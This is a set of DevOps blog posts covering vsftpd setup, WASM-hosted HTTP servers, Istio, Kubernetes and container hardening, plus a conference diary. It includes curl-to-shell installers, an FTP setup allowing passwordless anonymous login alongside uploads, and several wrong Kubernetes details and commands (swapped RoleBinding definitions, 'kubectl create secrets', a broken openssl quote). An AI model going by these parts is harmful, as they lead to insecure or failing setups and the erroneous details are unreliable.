If you are using Ubuntu/Debian-based distributions, you can install VSFTPD using this command:

```
sudo apt-get install vsftpd
```

If you are using Arch-based distributions, try this command for installing VSFTPD.

```
sudo pacman -S vsftpd
```

### Step 2: Configuring FTP server

The vsftp config file is usually located in `/etc/vsftpd.conf`. The config file itself is well-documented, so this section will only highlight some important changes you may want to make. For all available options and basic documentation, see the man pages by simply issuing the following command on your terminal.

```
man vsftpd.conf
```

And files are served by default from `/srv/ftp` directory as per the ***Filesystem Hierarchy Standard***. You can use an available text editor  of your choice for editing the ftp config file (/etc/vsftpd.conf). If in my case I will be using nano editor which comes pre-installed on most linux distros. If you also want to use nano issue the following command.

```
0xtraw@xtremepentest# nano /etc/vsftpd.conf
```

#### Enable Uploading to the FTP server:

The “write_enable” flag must be set to YES in order to allow changes to the filesystem, such as uploading: If this entry is comment, uncomment it by simply removing the leading # sign

```
write_enable=YES
```

#### Allow Local Users to Login:

In order to allow users in /etc/passwd to login, the “local_enable” directive must look like this:

```
local_enable=YES
```

#### Anonymous Login

The following lines control whether anonymous users can log in:

```
# Allow anonymous login
anonymous_enable=YES
# No password is required for an anonymous login (Optional)
no_anon_password=YES
# Maximum transfer rate for an anonymous client in Bytes/second (Optional)
anon_max_rate=30000
# Directory to be used for an anonymous login (Optional)
anon_root=/example/directory/
```

#### Chroot Jail

It is possible to set up a chroot environment, which prevents the user from leaving his/her home directory. To enable this, add/change the following lines in the configuration file:

```
chroot_list_enable=YES 
chroot_list_file=/etc/vsftpd.chroot_list
```

The “*chroot_list_file*” variable specifies the file in which the jailed users are contained to.

***Now done setting our ftp server, it's time to get it up and running!***

### Step 4: Restart your FTP server

To get your ftp server up and running with the new configurations, type the following command on your terminal and hit enter

```
0xtraw@xtremepentest# sudo systemctl restart vsftpd
```
Congrats if you have reached this far.  If you have any problem setting up the ftp server feel free to dm on Twitter [xtreme pentesting](https://twitter.com/xtremepentest)

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Embed HTTP servers in WASM with Rust and CSharp

- Canonical: https://blog.kubesimplify.com/embed-http-servers-in-wasm-with-rust-and-csharp
- Published: 2022-11-07

For a while, some WASM runtimes implement the Socket specification. So, let’s see how to code an HTTP server directly with WASM.

## Quick reminder about WASM and WASI

First, WebAssembly (WASM) is a compilation target. Initially, designed for the browser (to augment JavaScript). This binary format is optimized for the size of the produced file and speed execution.
A WASM runtime executes the WAM module (the compiled file) in an isolated sandbox (with no access to the resources of the host computer unless it’s explicitly allowed).
From a browser perspective, the WASM runtime is the JavaScript VM.

Since 2019, WebAssembly is moving outside the browser. It’s the reason why a new standard was created (the specification is a work in progress): **WASI** (WebAssembly System Interface). WASI is an API for the WASM runtimes to define how to provide access to the host resources by the WASM modules.

Now runtimes can take several forms: 
- **Applications** that can load the WASM modules as **plugins**
- **CLI applications** like [WasmEdge](https://wasmedge.org/), [WasmTime](https://wasmtime.dev/), or [Wasmer](https://wasmer.io/), (and the others).  These Command line runtimes execute a wasm module regardless of the architecture.
- **Frameworks** for building applications that can run WASM modules, like, for example, [Spin](https://developer.fermyon.com/spin/index) (from [Fermyon](https://www.fermyon.com/)), [Sat](https://github.com/suborbital/sat) (from [Suborbital](https://suborbital.dev/opensource)), [Wasm Workers Server](https://github.com/vmware-labs/wasm-workers-server) (from [Wasm Labs @ VMware OCTO](https://wasmlabs.dev/articles/run-workers-anywhere/)), and even my own project [Capsule](https://bots-garden.github.io/capsule/) using the [Wazero runtime](https://wazero.io/) which are small applications servers serving the WASM modules as nano services (or functions) through HTTP.

As I said, the WASI specification is a work in progress. Every WASM runtime implements the most advanced [WebAssembly proposal’s](https://github.com/WebAssembly/WASI/blob/main/Proposals.md).

If there is no official specification for socket networking, **WasmEdge** and **WasmTime** already implement their own POSIX sockets.

**So, what does this imply?**. It means that we can now start to embed web servers inside the WebAssembly modules! (🖐 Disclaimer! It’s not ready for production).

I will show you two examples of WASM HTTP servers. One with **WasmEdge** and **Rust**, the other with **WasmTime** and the **dotNet Core WASM** support.

## Create a WASM HTTP server with Rust and WasmEdge

The following example is inspired by this [WasmEdge project](https://github.com/WasmEdge/wasmedge_hyper_demo).

### Requirements

To use it, you need to install the Rust SDK and the WasmEdge Runtime.

**Installing the WasmEdge Runtime**:

```bash
curl -sSf https://raw.githubusercontent.com/WasmEdge/WasmEdge/master/utils/install.sh | bash -s -- -v 0.11.1
source /home/ubuntu/.wasmedge/env # the installer will give you the appropriate path)
# check
wasmedge --version
```

**Installing the Rust SDK (+ wasm support)**:

```bash
curl --proto '=https' --tlsv1.2 https://sh.rustup.rs -sSf | sh -s -- -y
source "$HOME/.cargo/env"
curl https://rustwasm.github.io/wasm-pack/installer/init.sh -sSf | sh
rustup target add wasm32-wasi
```

### Create a Rust project

First, create an `http-service` directory with two files: `Cargo.toml` at the root of the project and `main.rs` in the `src` subdirectory:

```bash
http-service
├── Cargo.toml
├── src
│  └── main.rs
```

This is the content of the two files:

**`main.rs`**
```rust
use std::net::SocketAddr;

use hyper::server::conn::Http;
use hyper::service::service_fn;
use hyper::{Body, Method, Request, Response};
use tokio::net::TcpListener;

async fn echo(req: Request<Body>) -> Result<Response<Body>, hyper::Error> {
  match (req.method(), req.uri().path()) {

    (&Method::GET, "/") => Ok(Response::new(Body::from(
          "👋 Hello World 🌍",
    ))),


    (&Method::POST, "/hello") => {
      let name = hyper::body::to_bytes(req.into_body()).await?;
      let name_string = String::from_utf8(name.to_vec()).unwrap();

      let answer = format!("{}{}", "👋 Hello ".to_owned(), name_string);

      Ok(Response::new(Body::from(answer)))
    }

    _ => {
        Ok(Response::new(Body::from("😡 try again")))
    }
  }
}

#[tokio::main(flavor = "current_thread")]
async fn main() -> Result<(), Box<dyn std::error::Error + Send + Sync>> {
  let addr = SocketAddr::from(([0, 0, 0, 0], 8080));

  let listener = TcpListener::bind(addr).await?;
  println!("Listening on http://{}", addr);
  loop {
    let (stream, _) = listener.accept().await?;

    tokio::task::spawn(async move {
        if let Err(err) = Http::new().serve_connection(stream, service_fn(echo)).await {
          println!("Error serving connection: {:?}", err);
        }
    });
  }
}
```

**`Cargo.toml`**
```toml
[package]
name = "http-service"
version = "0.1.0"
edition = "2021"

[dependencies]
hyper_wasi = { version = "0.15", features = ["full"]}
tokio_wasi = { version = "1.21", features = ["rt", "macros", "net", "time", "io-util"]}
```

### Build and Serve the WASM service

To **build** the WASM service, type the below command:
```bash
cargo build --target wasm32-wasi
# The command will produce the file: target/wasm32-wasi/debug/http-service.wasm
```
> Under Linux, if you get this error when building the project: `error: linker cc not found`, that means you need to install the build-essential package:
> ```bash
> sudo apt-get update
> sudo apt install build-essential -y
> ```

To **start** the HTTP server, type the below command:
```bash
wasmedge target/wasm32-wasi/debug/http-service.wasm
```

Then, you can test the WASM service with a `curl` command:
```bash
curl -d 'Bob Morane' -X POST http://127.0.0.1:8080/hello
```
And, you should get `👋 Hello Bob Morane`.

> The drawback is that, it seems to work with only WasmEdge; if I try with **WasmTime** (wich implements the socket networking too), I get an error:
> ```bash
> wasmtime target/wasm32-wasi/debug/http-service.wasm --tcplisten localhost:8080
> 
> Error: failed to run main module `target/wasm32-wasi/debug/http-service.wasm`
> 
> Caused by:
>    0: failed to instantiate "target/wasm32-wasi/debug/http-server.wasm"
>    1: unknown import: `wasi_snapshot_preview1::sock_setsockopt` has not been defined
> ```

### WasmEdge and Docker

At KubeCon NA 2022, Docker announced **Docker+Wasm technical preview** in partnership with WasmEdge. Docker developers can simply build and run a complete Wasm application, thanks to a **containerd shim** developed in collaboration with Docker and WasmEdge. This shim extracts the Wasm module from the OCI artifact and runs it using the WasmEdge runtime.

#### Build the image and serve the service

> You need to install the **[Docker+Wasm preview](https://docs.docker.com/desktop/wasm/)**

Create a `Dockerfile`:
```Dockerfile
FROM scratch
COPY ./target/wasm32-wasi/debug/http-service.wasm /http-service.wasm
EXPOSE 8080
ENTRYPOINT [ "http-service.wasm" ]
```

Type the below command:
```bash
docker buildx build --platform wasi/wasm32 -t wasmservice .
```
> The size image of the image is under 9MB.


To run the service with Docker, type the below command:
```bash
docker run -dp 8080:8080 --name=wasmservice --runtime=io.containerd.wasmedge.v1 --platform=wasi/wasm32 wasmservice
```
> You can choose the runtime with the `--runtime` option, but right now, the option exits only for the WasmEdge runtime.

And now you can call the service like this: `curl -d 'Bob Morane' -X POST http://127.0.0.1:8080/hello`, and of course you'll get `👋 Hello Bob Morane`.

I said that **WasmTime** implements the socket API, so let’s see how to use it with the WASM support of the dotNet framework.

## Create a WASM HTTP server with ASP.Net, CSharp and WasmTime

> I didn’t find clear and understandable (for me) documentation about the socket support with WasmTime, but the [Mio project](https://github.com/tokio-rs/mio) provides an example of a [WASM TCP server](https://github.com/tokio-rs/mio/blob/master/examples/tcp_listenfd_server.rs) runnable with WasmTime. 

However, when I was at WasmDay at Kubecon Valencia in May 2022, I attended to an awesome presentation by [Steve Sanderson](https://twitter.com/stevensanderson) from Microsoft: ["Bringing WebAssembly to the .NET Mainstream"](https://www.youtube.com/watch?v=PIeYw7kJUIg). Steve was running an **embedded ASP.Net HTTP server in a wasm module with WasmTime**. 

So, let’s try to reproduce this experiment.

### Requirements

**Installing the WasmTime Runtime**:

```bash
curl https://wasmtime.dev/install.sh -sSf | bash
# check
wasmtime --version
```

**Installing the dotNet Core Preview SDK (+ wasm support)**:

```bash
wget https://download.visualstudio.microsoft.com/download/pr/f5c74056-330b-452b-915e-d98fda75024e/18076ca3b89cd362162bbd0cbf9b2ca5/dotnet-sdk-7.0.100-rc.2.22477.23-linux-x64.tar.gz
mkdir -p $HOME/dotnet && tar zxf dotnet-sdk-7.0.100-rc.2.22477.23-linux-x64.tar.gz -C $HOME/dotnet
rm dotnet-sdk-7.0.100-rc.2.22477.23-linux-x64.tar.gz

export DOTNET_ROOT=$HOME/dotnet
export PATH=$PATH:$HOME/dotnet
dotnet workload install wasm-tools
```
> To get the last version of the dotNet Core Preview SDK, visit this page [https://dotnet.microsoft.com/en-us/download/dotnet/7.0](https://dotnet.microsoft.com/en-us/download/dotnet/7.0)

### Create an ASP.Net project

The below commands will generate an ASP.Net project and add the WASI support to the project:
```bash
dotnet new web -o hello
cd hello
dotnet add package Wasi.Sdk --prerelease
dotnet add package Wasi.AspNetCore.Server.Native --prerelease
```

### Change the code of `Program.cs`

Change the code of `hello/Program.cs` by the following one:
```csharp
using System.Runtime.InteropServices;

var builder = WebApplication.CreateBuilder(args).UseWasiConnectionListener();

var app = builder.Build();

app.MapGet("/", () => {
  return $"👋 Hello, World! 🌍 🖥️: {RuntimeInformation.OSArchitecture} ⏳: {DateTime.UtcNow.ToLongTimeString()} (UTC)";
});

app.Run();
```

### Build and serve the service

Type the below commands to build the service:
```bash
cd hello
dotnet build
```

Start the service with the below commands:
```bash
cd hello
wasmtime bin/Debug/net7.0/hello.wasm --tcplisten localhost:8080
```

Call the service: `curl http://localhost:8080` and you'll get something like this: `👋 Hello, World! 🌍 🖥️: Wasm ⏳: 14:09:12 (UTC)`. My only regret is that does not yet run with the Docker+Wasm preview.

> I tried with WasmEdge: `wasmedge bin/Debug/net7.0/hello.wasm`, but unsurprisingly it didn't work:
> ```bash
> [2022-11-06 14:11:54.358] [error] instantiation failed: incompatible import type, Code: 0x61
> [2022-11-06 14:11:54.358] [error]     Mismatched function type. Expected: FuncType {params{i32 , i32 , i32} returns{i32}} , Got: FuncType {params{i32 , i32} returns{i32}}
> [2022-11-06 14:11:54.358] [error]     When linking module: "wasi_snapshot_preview1" , function name: "sock_accept"
> [2022-11-06 14:11:54.358] [error]     At AST node: import description
> [2022-11-06 14:11:54.358] [error]     At AST node: import section
> [2022-11-06 14:11:54.358] [error]     At AST node: module
> ```
> But, it should work: [https://twitter.com/juntao/status/1589323762901843971?s=20&t=fvjV0JSBXZgn0Px5f22IlA](https://twitter.com/juntao/status/1589323762901843971?s=20&t=fvjV0JSBXZgn0Px5f22IlA) - stay tuned, I created an [issue](https://github.com/WasmEdge/WasmEdge/issues/2056) at the WasmEdge project.

It's only a start, but the WASI specification seems to be moving in the right direction (even if the implementations sometimes diverge). It is already possible to offer "nano services" with no dependency other than the runtime. And I find dotNet Core's WASI support particularly impressive (and even more ASP.Net).

> You can find the source code of the examples at [https://github.com/wasm-university/wasm-hosted-web-servers](https://github.com/wasm-university/wasm-hosted-web-servers). This is a [Gitpod](https://www.gitpod.io/), so you can test the samples without installing anything. Open this URL with your browser: [https://gitpod.io/#https://github.com/wasm-university/wasm-hosted-web-servers](https://gitpod.io/#https://github.com/wasm-university/wasm-hosted-web-servers).


Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Istio & Service Mesh

- Canonical: https://blog.kubesimplify.com/istio-service-mesh
- Published: 2022-10-19

# Introduction 
Hello all, In this blog we are going to learn about Service Mesh and one of its implementation Istio, to understand the whole idea behind it, we are going to take look at the following points
- Service mesh & istio 
- Challenges of Micro-service architecture 
- Core features of service mesh 
- Architecture
- How to configure Istio?

## So lets get started 

![microservices-1680.png](/img/blog/istio-service-mesh/iisbeidUA.png align="left")

### **What is Istio? What is Service Mesh?**

Istio is a service mesh in order to understand Istio we need to understand service mesh 
**Service mesh : **
Service mesh is a popular solution for managing communication between individual Microservice applications , but why do need a dedicated tool and what are the challenges ?

![challenge.jpg](/img/blog/istio-service-mesh/fY2pVDbMk.jpg align="left")

# Challenges:
When we move from Monolithic to Microservice applications we introduce a couple of new challenges 
for eg: we have an online shop made up of several microservices like a) web server which gets the UI request, a payment microservice to handle the payment logic, shopping cart, Inventory and so on 
and we are deploying our microservice architecture on the Kubernetes cluster 
so now what does our current setup need? 

The different microservices need to talk to each other, there should be some sort of communication between all of them for the proper functioning of the online shop 

**so how does services know how to talk to each other ? what are the end points of each service ?
**

All the service endpoints that the web server talks to must be configured for the web server so when  we add a new Microservice we need to add the endpoint of that service to all the  microservice that need to talk to each other so we have that information as part of the application deployment code

**
Now what about Security in our microservice application setup ?**

![security.png](/img/blog/istio-service-mesh/7t7V7INek.png align="left")


Generally, In common Environments in development projects, you have firewall rules setup for your Kubernetes cluster maybe you have a proxy as an entry point that gets the request, so you have security around the cluster, however once the request gets inside the cluster the communication is insecure 
microservices talk to each other over HTTP or some insecure protocols also services talk to each other freely i.e Every other service inside the cluster can talk to any other service, so there is no restriction on that this means if the attacker gets inside the cluster he can do anything, we don't have any additional security inside 


![solution.png](/img/blog/istio-service-mesh/fQSDcJrst.png align="center")

# Solution
The solution to all this challenges is Service mesh. A service mesh with side care pattern 


![Sidecar.png](/img/blog/istio-service-mesh/DqfkkYahB.png align="left")

**side care proxy : **

- which handles the network Logic 
- acts as a proxy 
- third party application 
- cluster operators can congifure it easily
>You dont have to add that side car congifuration to your microservice deployment yaml file because service mesh has a control plane that will automatically inject this proxy in every micrroservice pod so now they can talk to each other through those proxies and the network layer for service to service communication consisting of control plane and the proxies is a service mesh

# Traffic split

In addition to the above features, one of the most important features of a service mesh is traffic split 
**what is traffic split  ?**

When changes are made to a payment application for example a new version is built, tested and deployed to the production environment obviously you can rely on testing but what if there is a bug you can't catch in testing so in this case you don't want to end up with a new version of a payment service in production that doesn't work 

![Canary Deployment.png](/img/blog/istio-service-mesh/bnPRJHQ7n.png align="left")

so you want to send maybe only 5% or 10% traffic to the new version over a period of time to make sure it really works . so with service mesh you can easily configure a web server microservice to direct 90% of the traffic to version 2.0 and 10% to version 3.0 which is also known  as canary deployment .

# Istio Architecture

Service mesh is just a pattern or paradigm and Istio  is one of its implementations
In Istio architecture, the proxies are envoy proxies which is an independent open source project
 which Istio and many other service mesh uses and control plane component is Istiod which manages and injects the envoy's proxies in each of the microservice pods 


![Archi.png](/img/blog/istio-service-mesh/P49w5GvfH.png align="left")

Note : 
> In earlier versions of istio until v.1.5 istio control plane was a bundle of multiple components it has citadel, mixer, pilot and some other components However in v.1.5 all of these components were combined in one single Istiod component to make it easier for operator to configure and operate istio So the architecture comprises two component, control plane which manages Data plane (group of envoy proxies)

# How to configure Istio ?

**so now how do we configure all these features for our mirco service application ?**

![config.png](/img/blog/istio-service-mesh/f2C1w-_th.png align="left")

As we don't have to adjust Deployment and service k8s YAML files so all the configuration for istio components will be done in istio itself having a clear separation between application configuration and service mesh configuration istio can also be configured with Kubernetes YAML files as it uses CRDs extending the kubernetus API CRD is nothing but a custom Kubernetes component/object for e.g.: Prometheus

SSo using a few istio crds we can configure different traffic routing rules between our microservices like which services can talk to each other, traffic split configuration, retry rules and many other network configurations and there are two main CRDs for configuring service to service communication

**a) Virtual Service **

how you route your traffic to a specific destination

**b) Destination rule**

Configure what happens to traffic for that destination, so we create CRDs and istiod converts this high level routing rules into envoy specific configuration and send that configuration out to all the envoy proxies as we don't configure proxies we configure control plane

Proxies can communicate without connecting to istiod


# Istio features

![features.png](/img/blog/istio-service-mesh/Crf2NKdHO.png align="center")


In addition to configuring proxies istiod also has a central registry for all the microservices so no need of a static configuration of endpoints for each microservice 
when a new microservice gets deployed it will automatically get registered in the service registry without the need of any additional configurations and using this service registry the envoy proxies can now query the endpoints to send the traffic to relative endpoints in addition to this dynamic service feature istiod also acts as certificate authority and generated certificates for all microservices in the cluster to allow secured TLS communication between proxies and those microservices 

## Metrics and Tracing 

Istiod also has metrics and tracing data from the envoys proxies that it gathers and later can be consumed by monitoring server like Prometheus or tracing servers etc. to have out of the box tracing for your whole microservice application

## istio Ingress gateaway
 
It is basically an entry point to your Kubernetes cluster it's like an alternative to nginx ingress controller so istio gateway runs as a pod in your cluster and acts as a load balancer by accepting incoming traffic in your cluster and gateway will then direct traffic to one of your microservices inside the cluster using virtual service component, and you can configure the gateway using the CRD gateway

# Conclusion

Now we have understood the concept of Service Mesh and Istio, I hope you have gotten the knowledge behind it and how you can use it. The next task for you is to practice,  explore & Implement! 

![End.jpg](/img/blog/istio-service-mesh/XDDcksJK0.jpg align="center")

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Container and Kubernetes Security

- Canonical: https://blog.kubesimplify.com/container-and-kubernetes-security
- Published: 2022-10-17
- Summary: A descriptive written piece that describes best practices that can be followed to secure your Kubernetes cluster and containers before or when in production

# Brief Overview
** *Prerequisites : Kubernetes & Containers* ** ( MAKE CHANGE )

***Containers*** are **isolated resources** or **processes** that consist of definite boundaries for hardware resources and visibility set. Essentially uses **cgroups & namespaces** to **isolate resources**. Multiple Containers can interact with each other by setting up a network, resembling an architectural paradigm of a microservice.

**Docker** **engine ** was **introduced to create & build** **containers** and **containerize applications**.

The **Docker engine** have 3 underlying parts, **Docker** **Daemon**, **Docker ** **Client** **&** **Docker** **API**. It **Utilizes **an underlying **container runtime** to interact with the **host kernel resource** setting up **cgroups** (through cgroup drivers, allocates cgroups per process) & **namespaces** for processes. 

**Cgroups **define the **resource limits** like **CPU and memory resources**. **Namespaces define visibility limit**, for which the user is able to see eg: User, PID, IPC ( interprocess communication ), mount-point namespaces, and network namespace.

***Kubernetes ***also has the ability to manage the container life-cycle, although it does not use Docker instead **uses the abstraction of Container Runtimes**. **Utilizes** **Container Runtime Interface** ( CRI ) that **acts as a middleware** between the **Kubelet** and the various **Container Runtimes** ( containerd or CRI-O ) that can be implemented.

------------------------
# Container Security / Hardening

## Root and Non Root Containers
Since the **docker daemon operates as the root profile**, your **containers always have a tendency to run as a root process** when executed on any machine. **This may not be secure because** anyone who manages to breach the container will have direct access to the root profile.
The **container should be only provided** with **specific privileges** and run as a **specific entity** according to its **role in the container ecosystem**, eg: should not have access to important files and directories, & execute container rootless. 
**AKA the defense and depth mechanism**

*** Scenario 1 : Docker Daemon Runs as Root Profile by Default ***
![image.png](/img/blog/container-and-kubernetes-security/ArQqMdPzf.png align="left")

![image.png](/img/blog/container-and-kubernetes-security/OQ6HChV-h.png align="left")

- Instead of utilizing the root user directly, it is possible to construct a docker group where the users will still have the same level of access to the docker as a root user with respect to docker.socket. Although this does not harden the container.

This can be done using the following command : 
```sh
sudo usermod -aG docker $USER
```
![image.png](/img/blog/container-and-kubernetes-security/PbEVvsuXq.png align="left")

*** Scenario 2 : Host Machine File Can Be Accessed From Root-Container ***

> i) file stored in the host machine and setting root permission to the .txt file.

![image.png](/img/blog/container-and-kubernetes-security/8FzYUL2B1.png align="left")

> verifying permissions on a non-root host.

![image.png](/img/blog/container-and-kubernetes-security/8Tv7dUEKO.png align="left")

> ii) Demonstration as to how restricted / sensitive files can be accessed through root containers. 

- containers run as root since the docker command triggers the use of root profile, hence the mounted files are readable because the root has permissions for the following.

![image.png](/img/blog/container-and-kubernetes-security/jGG3MQbM6.png align="left")


**Container Hardening**

- **While the docker daemon runs as a root user**, specifying the args **-u user:pass** triggers a non-root user process. 
- **Containers should run as rootless**, this prevents an intruder that breaks out of the container to still exist within the non-root namespace and will not be able to access host files. 

>![image.png](/img/blog/container-and-kubernetes-security/L6t0-nBox.png align="left")
![image.png](/img/blog/container-and-kubernetes-security/q6TRSiYV-.png align="left")


---------------
### Avoid --privileged docker flag 
- Using **docker's "--privileged" flag** essentially **provides a container with more functionalities** that are similar to what the root user might have.
- When it comes to the security of the containers, **it is a bad idea to use this flag** if the **container is ephemeral** and **does not have any exclusive purpose**. As it effectively disables the isolation features of the container. 

### Drop container capabilites 
- A **particular container can be specified** with **arguments that drop certain commands**. **Ultimately** this allows the container to have less access to valuable folders and actions, although it has constrained functionality.
- using the **-cap-drop**=(FUNCTIONALITY) eg: =all , drops all command functionality.

![image.png](/img/blog/container-and-kubernetes-security/Yybwj5G2o.png align="left")

- **"grep Cap /proc/(process id)/status"** identifies capabilities of the container,
visibly Cap-fields have value 0s which correspond to Non-existent capability for that container.*

![image.png](/img/blog/container-and-kubernetes-security/kOlbCYnMr.png align="left")

-----------------------
### Runtime Container Security Tools 
- Used as a prevention tool before the container is up and running, where it helps to identify issues and follow best practices among containers.

#### **Snyk**
- **Snyk is an Open Source Security Scanner tool** which is capable of targeting Container Images, Filesystem Git repository (remote), Kubernetes cluster, or resources.
- In this case, it's a **Container Image security scanning tool**, that allows **finding vulnerabilities** in **container images** based on different policies.
- The container scanning results output a very specific risk that can be pointed out to be fixed before deployment of the container.
- Can be used in CI/CD pipelines before using the image for deployment.

**Scanning Container Image**

![image.png](/img/blog/container-and-kubernetes-security/LP5bY5NT3.png align="left")

**Results**

![image.png](/img/blog/container-and-kubernetes-security/htsBxktIr.png align="left")


-----------------------------

## Security For Kubernetes Clusters

### Role Based Access Control ( RBAC )
- Provides **access to specific Kubernetes resources based** on the **role/permissions** of the **entity**. Eg: Admin, Marketing, or Developer Team.
- **Enables users to access data or perform actions in Cluster** that are **required to fulfill their job requirements** while **minimizing risks from unauthorized users**. Such as access to calling the API server to make changes in the resources.

*A developer might need permission to add or make changes to the Kubernetes deployment, whereas the marketing team does not need permission for making changes to the cluster. RBAC in this case creates roles with specific permissions that add a layer of security.*

#### The RBAC Model 
- Role Assignment
- Authentication
- Authorization

#### Entity Identities are of 3 types
- **Users** pertains to specific user access to the cluster or namespace.
- **Groups** pertains to a group of users for access to actions/clusters or namespaces.
- **Services** used by pods in clusters, to identify uniquely as a process.


![1_QQJZp8zc27jCkbJLaIVhZQ.png](/img/blog/container-and-kubernetes-security/NWzg0opSB.png align="left")

#### RBAC is a method of restricting computer & network access to users, groups, and services. where we authenticate first before performing RBAC.

- ***Authentication***: **It is a prerequisite before applying RBAC**. There are many ways to authenticate, such as client certificates, bearer tokens, HTTP basic auth, and auth proxy.
**Client certificates are most widely used in production clusters**. It is **responsible to send a Certificate Signature Request** via HTTP to the **API server**. **Generating an x509 certificate** which is **signed by the API server** and **sent back to the client**. This certificate is used by the Cluster in order to authenticate the entity.

- ***Authorization***: Deals with binding entities with Roles, defining rules for accessing resources in the Kubernetes cluster. 

> Under Authorization

**RBAC Role & Cluster Role**
These are categories of permissions that are set for resources that are defined within a cluster scope.
- ***Role***: Pertain to a set of rules for a particular resource/object within a Namespace scope
- ***Cluster Role***: Pertain to set of rules for particular resource/object within the entire Cluster scope.

> Under RBAC Roles

**Permissions** are set using these **3 parameters**; **verbs**, **resource**, **apiGroup**
- **verbs**: These are actions on a resource that an entity can perform. 
**( "create", "get", "list", "update", "patch", "delete" )**
- **apiGroup**: An array of namespaces to which rules would be applied.
**( eg: apiGroup: ["serve"] )**
- **resource**: An array of resources that rules will apply on.
**( eg: resource: ["pods","service"] )**

**RBAC Role Binding**

- ***ClusterRole Binding***: Associates Role to entities ( users, groups, services ), granting permissions defined in the Namespace.
- ***Role Binding***: Binds ClusterRole to entities ( users, groups, services ), granting rules defined in the Cluster.

### Kubernetes & TLS/SSL Certificate
-  **Connections** from the **browser** to a **cluster API** using **HTTPS** are made **secure** using **TLS/SSL** **certificates** 
- TLS **can protect traffic within the cluster**
- **The TLS certificates and private keys** are stored in **k8s secrets resource**

> Using secrets itself is a best practice for confidential and sensitive information being used by the resources ( eg: pods ), essentially removing sensitive information from the application code and using it as environment variables instead.

In this case, we will generate a TLS certificate & private key from OpenSSL with, 
```sh
openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout tls.key -out tls.crt -subj "/CN=joebunga.com' -days 365
```
> **arguments**

- This command **requests** a new **"x509" certificate** which is widely used in **TLS/SSL** protocols that contain a **public key**, while the **private key** generated is stored on the **server** securely. 
- **rsa:4096** is an **encryption cipher** used for **private, public key generation**, and **sha256 is a hash function** used.
- "joebunga.com" is the domain we create the TLS certificate for
- no. of days till it expires is 1 year.

![image.png](/img/blog/container-and-kubernetes-security/uqYBA8nnF.png align="left")

> creating a k8s secret to store sensitive information

```
kubectl create secrets tls joebung-com-tls --cert=tls.crt --key=tls.key
```
- Here we create a **k8s secret** file using the **kubectl** command, where the TLS certificate & private key are stored.

![image.png](/img/blog/container-and-kubernetes-security/DcriIK5Ui.png align="left")

#### TLS on Ingress & Ingress controller
- The **ingress controller exposes** **HTTP** and **HTTPS** routes **from outside the cluster** to **services within the cluster**. Traffic routing is controlled by rules defined on the ingress resource ( ingress.yaml ).
- The **Ingress controller is the point of TLS termination**, where the traffic is encrypted/decrypted.
- The **secrets** can now be **accessed** by the **manifest**, in this case, the "ingress.yml" through the env variable.
- The **Ingress is secured** by **specifying** the **TLS secret** ( joebung-com-tls ) that contains a **private key** and a **certificate**.

![image.png](/img/blog/container-and-kubernetes-security/kQzaDXZ9Y.png align="left")

- **Requests from the internet** are **routed to the cluster services** according to the **rules** defined in the **ingress configuration for the ingress controller** ( eg: Nginx ingress).
- This instructs the **ingress controller to encrypt the communication path** between the **client** and the **controller**.
- The traffic between the controller and the pod is decrypted unless specified.


### Kubernetes Manifest or Cluster Scanning
- **Kubescape is an Open Source tool by ARMO** that is used as risk analysis, security compliance, RBAC visualizer, and image vulnerabilities scanning tool.
- Initially used as a **Manifests vulnerability tool** to **identify hidden vulnerabilities** and **misconfigurations** within the Kubernetes Manifest Files.
- Additionally **evaluates the Kubernetes cluster that is deployed**, and allows us to **rectify** and **validate issues among the resources** while following **k8s best practices** and **policies**.
- Consists of Easy integration with CI/CD pipelines. ( eg: Github actions / Jenkins, etc )

**Scanning Manifests**
```
kubescape scan deployment.yml
```
**Results**

![image.png](/img/blog/container-and-kubernetes-security/5TTvy5ocv.png align="left")
- **For example**, here as I **did not include any resource limits** for my **deployment/pods** it was categorized as a **high severity** issue, as the pods would not have any boundaries for consumption of resources ( **CPU** / **memory** ). 


**Scanning Cluster**
```sh
kubescape scan framework nsa --submit --format pdf --output nsa.pdf 
```
**Scans** your **Kubernetes cluster**, in this case my **minikube** cluster is **scanned**.
![image.png](/img/blog/container-and-kubernetes-security/euSJndPTx.png align="left")

The output of the scan results can be in various formats ( although it is not necessary ), this can be set up by using the following parameters.

```
--format pdf --output results.pdf
--format json --output results.json
```

**Results** ( results.pdf )
![image.png](/img/blog/container-and-kubernetes-security/lys8RS24G.png align="left")
---------------


# Resources Used
[Saiyam Pathak's Container & Kubernetes Security Video](https://www.youtube.com/watch?v=ka0C09CAfho&t=2946s)

[Kubernetes Documentation](https://kubernetes.io/docs/home/)

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# My First International conference- Open Source Summit-2022🎉

- Canonical: https://blog.kubesimplify.com/my-first-international-conference-open-source-summit-2022
- Published: 2022-10-11

It is true all **Hardwork pays off** in the end. I have been involved with Open Source for the past 2 years and this year I got a chance to attend my first in-person International conference **Opensource Summit-2022** in Dublin, Ireland under the generous scholarship by **Linux Foundation**. 

- In this blog I have posted few pics, and shared my experiences of my first International Conference.

- Throwback to the time when I was filling the CFP form in June, and on a fine morning on July 7th when I woke up I checked my mails and I saw that I got selected as a speaker. I was so happy, and I became numb for some time, and I just called to my mom to share about this. 



## Visa :

- Getting Visa was one of the important step in this whole thing. After all the suspense and thriller, my Visa got approved just before the 4 days of my trip.
![image.png](/img/blog/my-first-international-conference-open-source-summit-2022/3UPu3mQIO.png align="left")


## Day-0 (MLH event) :

- After completing 18 hours of journey, I have reached to the Dublin on 12th sept,2022. On the same day I have a MLH event to attend at night (which I missed because I slept through it😅). 

![WhatsApp Image 2022-10-07 at 21.18.35 (1).jpeg](/img/blog/my-first-international-conference-open-source-summit-2022/dYAWI2abw.jpeg align="left")

### Day-1 

